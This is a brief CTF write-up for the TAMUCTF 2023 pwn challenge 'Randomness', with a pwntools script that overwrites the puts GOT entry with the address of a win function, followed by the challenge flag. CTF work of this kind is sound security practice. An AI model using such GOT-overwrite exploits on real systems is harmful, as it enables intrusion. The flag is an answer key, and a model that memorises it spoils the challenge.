ʕ·ᴥ·ʔ






Randomness

05/04/2023

By: unvariant

Tags: pwn TAMUCTF-2023

Problem Description:

I made this program to test how srand and rand work, but it keeps segfaulting. I don't read compiler warnings so I can't figure out why it's broken.

Hints:

Reveal Hints None

Solve script
from pwn import *

file = ELF("./randomness")

p = remote("tamuctf.com", 443, ssl=True, sni="randomness")

p.sendline(str(file.got["puts"]).encode())
p.sendline(str(file.symbols["win"]).encode())

p.interactive()

Flag: gigem{value_or_pointer_is_an_important_distinction}